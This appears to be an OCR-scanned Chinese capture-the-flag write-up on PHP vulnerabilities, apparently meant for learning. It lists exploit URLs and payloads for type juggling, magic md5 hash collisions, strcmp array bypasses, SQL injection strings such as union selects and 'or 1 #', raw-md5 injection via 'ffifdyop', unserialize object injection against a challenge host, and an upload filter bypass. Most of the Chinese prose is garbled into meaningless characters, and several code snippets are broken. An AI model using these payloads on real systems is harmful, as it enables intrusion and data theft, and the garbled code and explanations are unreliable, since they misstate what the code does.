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http://127.0.0.1/Php_Bug/02.php?number=%00%2B191
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2. X reg[ number |= , req[‘number’]))
N = strval(intval
3. EXintval(req| number |)= req[‘number’]))
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<?php

function is_palindrome_number($number) {

$number = strval($number);

$i =0;

$j = strlen($number) - 1;

while($i < $j) {

if(Snumber[$i] $number[$j]) {
return false;

return true;

trim($_GET][ 1);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
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import requests

foriin (256):
rq = requests.get(
if "1"in rq.text:

print
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http://www.chnpanda.com/961.html

<?php

$arr = array(['user'] === "ichunqiu');

$token = base64_encode(gzcompress(serialize($arr)));

print_r($token);
| echo $token;
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http://127.0.0.1/Php_Bug/06.php?a[]=1
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int strcmp ( string $str1 , string $str2 )
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http://127.0.0.1/Php_Bug/07.php?name[]=1&password[]=2
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?user=" union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
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HTTP k¥ hh X-Forwarded-For:1.1.1.1
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http://127.0.0.1/Php_Bug/13.php?a=240610708
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var_dump(md5('240610708') == md5('QNKCDZ0Q"));
var_dump(md5(‘aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1(‘aaroZmOk') == sha1('aaK1STfY'"));
var_dump(sha1('aaO8zKZF') == sha1(‘aa3OFF9m'));
var_dump('0010e2' =="'1e3");

(

(

var_dump('0x1234Ab' =='1193131");
var_dump('0xABCdef' =="' OxABCdef");

md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO"); // 0e830400451993494058024219903391
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Squery="SELECT * FROM users WHERE name=\"admin\'' AND pass=\"or 1 #\';';

?username=admin\'\' AND pass=\"or 1 #&password=
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//select pw from ctf where user="and 0=1 union select 'e10adc3949ba59abbe56e057f20f883¢e" #

?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
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A md5($_GET['username']) == md5($_GET['password'])

AT AR -
http://127.0.0.1/Php_Bug/18.php?username=QNKCDZO&password=240610708
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http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2
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http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2
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# password #iE—AN arr[] , FEANZJG, ereg AZIREI NULL ), === W NULL f1 FALSE , AR, FrUART AN —
ANFIWT, T strpos AR, RZIRE NULL , JERXEMAR 1==, NULLI==FALSE %ML, &3 flag
http://127.0.0.1/Php_Bug/19.php?password[]=
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XE, EMERAEON T, BEEmALLE —BEHT, FENHES EMARIT T, KEEFETTEI A FK3EH %%k,
LR R IESRELE I, ox kRS 16 36, WX BEHFHER 16 #HZ2 F KB, £&deadcode , FEF KL ox, R3FE
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echo dechex ( 3735929054 ); // #37359290544% J916

45 N: deadcOde
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http://127.0.0.1/Php_Bug/20.php?password=0xdeadcOde
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0 >= preg_match('/4[:graph:]]{12,}$/', $password)
BADAR12NFRU L GETHEIETABZ M N A

Sreg = "/([[:punct:]]+|[[:digit:]]+|[:upper:]]+|[:lower:]]+)/";

if (6 > preg_match_all($reg, $password, $arr))

BEALEE R RBEKRT6K

digit', 'upper, 'lower"); //[:punct:]] £ fEI¥5 5 [[digit:]] ML [[upper:]] B KEFZE: [[lower:]] {E(/NEFEE
oreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c+=1;
}
if (3¢ < 3) break;

BALRBERRNETR, BT, FRAT=ME=FL

if ("42" == $password) echo $flag;

BNV T 42
BR:

42.00e+00000000000

)
420.000000000e-1
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is_numeric($temp)?die("no numeric"):NULL;

RNEERH T

if($temp>1336){
echo $flag;
§

NE KT 1336

FIF PHP S5RBYH) —AMRRE, J— AN — AN HAh K RT LU RHE, SRR intval L. WRBA—/> 1337a X
HIZRFE, 7Eis_numeric FIR[E] true , AJ57E ELELHT B85 B i 1337 , IXFERL G AW HIH flag .

http://127.0.0.1/php_bug/22.php?password=1337a
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if(md5($temp)==0)
EfF mds REINFEEN O

T

f§ password ANERME, JF NULL , NULL ==0 A true
http://127.0.0.1/php_bug/23.php?password=
http://127.0.0.1/php_bug/23.php
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http://127.0.0.1/php_bug/23.php?password=240610708
http://127.0.0.1/php_bug/23.php?password=QNKCDZO
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$sql = "SELECT * FROM users WHERE password = "".md5($password,true)."";

md5($password,true)

¥ md5 J5 ) hex Bk 7 R BB

WMREE oroo KR FRFEH, A sql L
SELECT * FROM admin WHERE pass = "or'xx' Bt&453 T
T flifdyop

md5 5, 276f722736c95d99e921722cf9ed621c
hex ¥ # L FFF . 'or'6<trash>
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iEIRATEE L8 B FH I flag.php » % which 4 flag , X B KITE case 0 Fll case 1 HIRHE, &H break , HHEMBLE, Mix
20 LA T, SN 1, REHE 2, BREHN default , HRBFLZIARIXFE, BEBELLE, 7 case 0 MBHE, FFH
0 ELERAIZER), BENT case 0 I iEMK, HRIEA break , XAHHME, BINAHABCLLUERII T, MWRILERIIZ)E,
SYLEPATEEMIES], XNEME, BASEALEHTEMANR. BHRY, AT which £ flag K&, case 0 WA T
FiEME, HR2EF break , BRINCEILEHKTN, & FHATAEAR, #A 2 B, $4T T require_once flag.php

PHP e 8 IF Sk F/F B BT 0 EL#L == #FIR [ True

HoAEE B EEEMFLZFRENRF RN, SEIEFRBRRAR T AT ELERRAR TN, HERMA0T, &
FEERMAB—A0 KD, GRERN ure . HER: WRBNERFHERUBFIFKE, Weldb, BERWUHEAKF6 1, RE
o HERASET (HEM 6 LEHMHEE

if($str==0) FIWT 1 if( intval($str) ==0) RZEMK

AT A3 -

if($str==0){ echo "i& [A] T true.";}
7>

HEMBRSHFHAMAERB TSR
jj‘ﬁ;‘.ﬁ
$str="77F & ";if($str===0){ echo "R [ T true.";}
HiE—:
$str="%F B ";if($str=="0"){ echo "I&[H] T true.";}
MG  http://127.0.0.1/php_bug/25.php?which=aa
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26 unserialize()F¥ 51 4L

Vi8] flag 7E pctf.php , {H showimg.php H A SR ELELEL petf.php , KA TE indexphp H A LAE AZE & class

» index.php ' Shield 28526 $X = unserialize($g) » $g=9$_GET[class’]; » $X FAHI $filename &, HFEEHKIIL: Sflename =
"petf.php" , B $X ELAI, RAENM class ZEH.
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http://blog.csdn.net/greyfreedom/article/details/45846137
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<!-- answer.php -->
<?php

require_once('shield.php');
$x = class Shield();

$g = serialize($x);

lecho $g;

7>

<!-- shield.php -->
<?php
/[flag is in pctf.php
class Shield {

public $file;
function __ construct($filename = "pctf.php') {
$this -> file = $filename;

function readfile() {
if (lempty($this->file) && stripos($this->file,'..")===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,"\\')==FALSE) {
return @file_get_contents($this->file);

GEF
0:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
i :

http://web.jarvisoj.com:32768/index.php?class=0:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
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if($auth){
if(isset($_POST['filename'])){
$filename = $_POST['filename'];
$data = $_POST['data’];
if(preg_match('[<>?]', $data)) {
die('No No No!");
ki
else {
$s = implode($data);
if(!preg_match('[<>?]', $s)}{
$flag="None.";
ki
$rand = rand(1,10000000);
$tmp="./uploads/".md5(time() + $rand).$filename;
file_put_contents($tmp, $flag);
echo "your file is in " . $tmp;

}

else{
echo "Hello admin, now you can upload something you are easy to forget.";
echo "<br />there are the source.<br />";
echo '<textarea rows="10" cols="100">",;
echo htmispecialchars(str_replace($flag,'flag{??7?}'file_get contents(__FILE )));
echo '</textarea>';

AR Postiz R RAE NS W LLE data[0]=123&data[1]=<> KITERAENEH, XFEHITELEIAT implode() BRI A% 5k
RefF &s AT, MMGETIXEEEZETag.
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